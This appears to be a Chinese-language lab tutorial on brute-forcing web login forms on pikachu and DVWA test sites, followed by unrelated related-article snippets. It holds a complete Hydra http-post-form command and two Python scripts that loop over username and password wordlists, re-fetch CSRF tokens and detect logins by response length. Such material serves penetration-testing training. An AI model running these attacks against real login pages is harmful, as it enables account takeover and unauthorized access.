Hydra post登录框爆破

文章目录

  • 无token时的Hydra post登录框爆破
  • 带Token时的Hydra post登录框爆破

无token时的Hydra post登录框爆破

登录一个无验证码和token的页面,同时抓包拦截
在这里插入图片描述

取出发送数据包:username=adb&password=133&submit=Login
将用户名和密码替换
username=USER&password=PASS&submit=Login
同时获取路径:/pikachu/vul/burteforce/bf_form.php
拼接发送数据后就是:
/pikachu/vul/burteforce/bf_form.php:username=USER&password=PASS&submit=Login
获取目标Ip:192.168.180.2
获取登录失败时的错误提示:username or password is not exists~
在这里插入图片描述

启动hydra开始爆破
hydra -L /home/kali/dic/acount.txt -P /home/kali/dic/mima.txt -V -f 192.168.180.2 http-post-form “/pikachu/vul/burteforce/bf_form.php:username=USER&password=PASS&submit=Login:username or password is not exists~”
-f表示找到一个马上停止
在这里插入图片描述

带Token时的Hydra post登录框爆破

首先准备一个带token的登录页面
在这里插入图片描述

抓包可以看到存在token
在这里插入图片描述

提取其中的POST路径:/dvwa/login.php
提取ip:192.168.180.2

然后准备一个python脚本,将路径和ip替换到相应位置,如下所示

# -*- coding: utf-8 -*-
import urllib
import requests
from bs4 import BeautifulSoup
##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和token
def get_cookie_token(ip, url):headers={'Host':ip,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Upgrade-Insecure-Requests':'1'}res=requests.get(url,headers=headers)cookies=res.cookiesa=[(';'.join(['='.join(item)for item in cookies.items()]))]   ## a为列表,存储cookie和tokenhtml=res.textsoup=BeautifulSoup(html,"html.parser")token=soup.form.contents[3]['value']a.append(token)return a##第二步模拟登陆
#ip 192.168.180.2
#url 'http://192.168.180.2/dvwa/login.php'
def Login(a,username,password, ip, url):    #a是包含了cookie和token的列表headers={'Host':ip,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Content-Length':'88','Content-Type':'application/x-www-form-urlencoded','Upgrade-Insecure-Requests':'1','Cookie':a[0],'Referer':url}values={'username':username,'password':password,'Login':'Login','user_token':a[1]}data=urllib.parse.urlencode(values)resp=requests.post(url,data=data,headers=headers)return 
#重定向到index.php
def getacount(ip, url):with open("acount.txt",'r') as f:users=f.readlines()stop = Falsefor user in users:if stop == True:breakuser=user.strip("\n")                 #用户名with open("mima.txt",'r') as file:passwds=file.readlines()for passwd in passwds:passwd=passwd.strip("\n")   #密码a=get_cookie_token(ip, url)              ##a列表中存储了服务器返回的cookie和tokeLogin(a,user,passwd, ip, url)headers={'Host':ip,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Upgrade-Insecure-Requests':'1','Cookie':a[0],'Referer':url}response=requests.get(url,headers=headers)#print(len(response.text))content_size = len(response.text)if content_size != 1562:    #如果登录成功print("用户名为:%s ,密码为:%s"%(user,passwd))   #打印出用户名和密码stop = Truebreak
def main():ip = "192.168.180.2"url = "http://192.168.180.2/dvwa/login.php"getacount(ip, url)
if __name__=='__main__':main()

然后开启print(len(response.text))获取错误登录时的长度
在这里插入图片描述

可以看到错误时都是1523,将该值替换到 if content_size != 1523: #如果登录成功
同时注释print(len(response.text))
可以看到顺利爆破出了用户名密码
在这里插入图片描述
方法三(通用?)、

from bs4 import BeautifulSoup
import requests
from requests.models import Response#url = "http://127.0.0.1:98/vul/burteforce/bf_token.php"
url = "http://127.0.0.1:81/login.php"
user_token = '8680761fe979039a6f836599906'
#proxies = {"http": "http://127.0.0.1:8080"}  # 代理设置,方便burp抓包查看和调试
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0','Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}def get_token(r):soup = BeautifulSoup(r.text, 'html.parser')#选择表单项的token#user_token = soup.select('input[name="token"]')[0]['value']user_token = soup.select('input[name="user_token"]')[0]['value']return user_tokenif __name__ == "__main__":f = open('result.csv', 'w')     #把爆破结果储存到文件里,这里为csv格式f.write('用户名' + ',' + '密码' + ',' + '包长度' + '\n')    #给文件设置标题stop = False#遍历字典文件,Cluster bomb 暴力破解for admin in open("acount.txt"):if stop == True:breakfor line in open("mima.txt"):username = admin.strip()password = line.strip()payload = {     #payload为POST的数据#需有表单数据所有项目,如:username=adb&password=adfd&Login=Login&user_token=637b782363ffc7a618aea9a932c377ce'username': username,'password': password,#'token': user_token,'user_token': user_token,#'submit': 'Login''Login': 'Login'}Response = requests.post(url, data=payload, headers=header)result = username + ',' + password + ',' + str(len(Response.text))  #用户名密码以及响应包长度print(len(Response.text))content_size = len(Response.text)#if content_size != 34090 and content_size != 34071:    #如果登录成功if content_size != 1562 and content_size != 1573:    #如果登录成功print("用户名为:%s ,密码为:%s"%(username,password))   #打印出用户名和密码#print(result)           #输出到终端stop = Truebreakf.write(result + '\n')  #输出到文件user_token = get_token(Response)    #调用get_token函数获取下一次循环需要的tokenprint('\n---完成---\n')f.close()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/132381.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

项目部署文档

申请SSL证书 先申请,用免费的 下载证书 先将下载下来的保存起来 服务器安装JDK: 创建develop目录 mkdir /usr/local/develop/ 把JDK压缩包上传到/usr/local/develop/目录 解压安装包 并且将安装到指定目录 tar -zxvf /usr/local/develop/jdk-8u191-linux-x64.tar.gz -C /us…

CMake重要指令常用变量

什么是CMake? 没有使用CMake和使用CMake构建的区别? CMake的基本语法 语法格式: 指令(参数1 参数2...)赋值操作 如 把hello.cpp 赋值给变量HELLO set(HELLO hello.cpp)取变量的值: ${HELLO}但在if控制语句中是直接使用变量名。 if(HEL…

lazarus:数据集快速导出为excel、csv、sql及其他多种格式

lazarus被成为快速开发工具,为什么说“快速”,重要的一点是,很多工具是现成的,可以拿来直接就用。比如数据导出,如果需要把数据集导出为excel格式文件,写代码可能需要很多时间。lazarus就不用了&#xff0c…

Java连接Redis并操作Redis中的常见数据类型

目录 一. Java连接Redis 1. 导入依赖 2. 建立连接 二. Java操作Redis的常见数据类型存储 1. Redis字符串(String) 2. Redis哈希(Hash) 3. Redis列表(List) 4. Redis集合(Set) 一. Java连接Redis 1. 导入依赖 pom依赖…

外汇天眼:全员免费,赢奖金!

外汇市场一直以来都是金融投资者的热门领域之一,但对于新手来说,了解和掌握外汇交易可能需要时间和经验。为了帮助新手入门,提高交易技能,外汇模拟交易应运而生。为的是能够零风险无压力地帮助外汇投资者更好地掌握外汇交易的技巧…

【GEE】4、 Google 地球引擎中的数据导入和导出

1简介 在本模块中,我们将讨论以下概念: 如何将您自己的数据集引入 GEE。如何将来自遥感数据的值与您自己的数据相关联。如何从 GEE 导出特征。 2背景 了解动物对环境的反应对于了解如何管理这些物种至关重要。虽然动物被迫做出选择以满足其基本需求&am…

STM32中微秒延时的实现方式

STM32中微秒延时的实现方式 0.前言一、裸机实现方式二、FreeRTOS实现方式三、定时器实现(通用)4、总结 0.前言 最近在STM32驱动移植过程中需要用到微秒延时来实现一些外设的时序,由于网上找到的驱动方法良莠不齐,笔者在实现时序过…

【SQL篇】一、Flink动态表与流的关系以及DDL语法

文章目录 1、启动SQL客户端2、SQL客户端常用配置3、动态表和持续查询4、将流转为动态表5、用SQL持续查询6、动态表转为流7、时间属性8、DDL-数据库相关9、DDL-表相关 1、启动SQL客户端 启动Flink(基于yarn-session模式为例): /opt/module/f…

Flink SQL 窗口聚合详解

1.滚动窗⼝(TUMBLE) **滚动窗⼝定义:**滚动窗⼝将每个元素指定给指定窗⼝⼤⼩的窗⼝,滚动窗⼝具有固定⼤⼩,且不重叠。 例如,指定⼀个⼤⼩为 5 分钟的滚动窗⼝,Flink 将每隔 5 分钟开启⼀个新…

从零开始制作一个割草机器人

项目背景 为啥要做一个割草机器人呢?(个人因素:我梦想就是做一款人形机器人保护人类,解放人类) 基础准备:我们公司本身做过高精度,基于高精度的技术扩展到农机自动化驾驶。目前可以实现AB线拖…

数字人IP为何成家电品牌年轻化营销黑马?

伴随着数字人概念的出现,家电品牌逐渐通过3D虚拟数字人定制,让数字人成为内容、变现一体的IP,形成一定影响力的品牌效应,利用长线内容沉淀粉丝,使品牌实现年轻化营销。 *图片源于网络 如近日在海尔智家旗下品牌发布会上…

uniapp踩坑之项目:uniapp数字键盘组件—APP端

//在components文件夹创建digitKeyboard文件夹&#xff0c;再创建digitKeyboard.vue <!-- 数字键盘 --> <template><view class"digit-keyboard"><view class"digit-keyboard_bg" tap"hide"></view><view clas…

平面扫描(Plane-sweeping)深度体会

先看文章 三维重建之平面扫描算法&#xff08;Plane-sweeping&#xff09;_plane sweeping_小玄玄的博客-CSDN博客 Plane Sweeping | 平面扫描 - 知乎 (zhihu.com) 注意平面Dm,这是其中一个平面&#xff0c;平面上有一个M点&#xff0c;这个点也再物体上。所以会被摄像机看到…

SSD-1B:Segmind的加速稳定扩散模型

Segmind 稳定扩散模型 (SSD-1B) 是稳定扩散 XL (SDXL) 缩小 50% 的精简版本&#xff0c;可提供 60% 的加速&#xff0c;同时保持高质量的文本到图像生成功能。 它已经过各种数据集的训练&#xff0c;包括 Grit 和 Midjourney scrap 数据&#xff0c;以增强其根据文本提示创建各…

docker---dockerfile相关知识

第 3 章 Docker 高级实践 在这一部分我们主要来介绍一些Docker的高级内容&#xff1a; Dockerfile 和 Docker compose 3.1 Dockerfile Dockerfile我们从下面的几个方面来介绍&#xff1a; Dockerfile简介 Dockerfile快速入门 Dockerfile详解 Dockerfile简单 实践 3.1.1 Docke…

python-opencv写入视频文件无法播放

python-opencv写入视频文件无法播放 在采用Python写OpenCV的视频时&#xff0c;生成的视频总是无法播放&#xff0c;大小只有不到两百k&#xff0c;播放器提示视频已经损坏。网上搜了一些方法&#xff0c;记录下解决办法。 代码如下 fourcc cv2.VideoWriter_fourcc(*MJPG) fp…

腾讯云CVM服务器操作系统镜像大全

腾讯云CVM服务器的公共镜像是由腾讯云官方提供的镜像&#xff0c;公共镜像包含基础操作系统和腾讯云提供的初始化组件&#xff0c;公共镜像分为Windows和Linux两大类操作系统&#xff0c;如TencentOS Server、Windows Server、OpenCloudOS、CentOS Stream、CentOS、Ubuntu、Deb…

性能工作站,双十一大促,超值推荐:蝰蛇峡谷 NUC12SNKi7迷你主机,优惠抢购!

近年来&#xff0c;ITX主机和小型化系统变得越来越受欢迎。英特尔的NUC受到许多玩家们的关注。作为mini主机的代表NUC小巧设计和灵活性使它成为很多玩家和科技爱好者的选择。它的高性能和可玩性使得它在迷你型准系统市场上备受推崇。双11来临之际&#xff0c;我们分析下哪款高性…

世微LED 大功率升压恒流驱动芯片 平板显示LED背光板灯串恒流控制器 AP9193

概述 AP9193 是一款高效率、高精度的升 压型大功率 LED 灯恒流驱动控制芯片。 AP9193 内置高精度误差放大器&#xff0c;固 定关断时间控制电路&#xff0c;恒流驱动电路等&#xff0c; 特别适合大功率、多个高亮度 LED 灯的串 恒流驱动。 AP9193 采用固定关断时间的控制方 式…

产业园区中工业厂房的能源综合配置——工业园区综合能源数字化系统建设方案

以下内容转自微信公众号&#xff1a;PPP产业大讲堂&#xff0c;《产业园区中工业厂房的能源综合配置》。 园区工业地产中能源综合配置存在的问题 我国园区工业地产建设已历经近40年的发展, 园区在区域经济发展、产业集聚方面发挥了重要的载体和平台作用, 有力推动了我国社会经…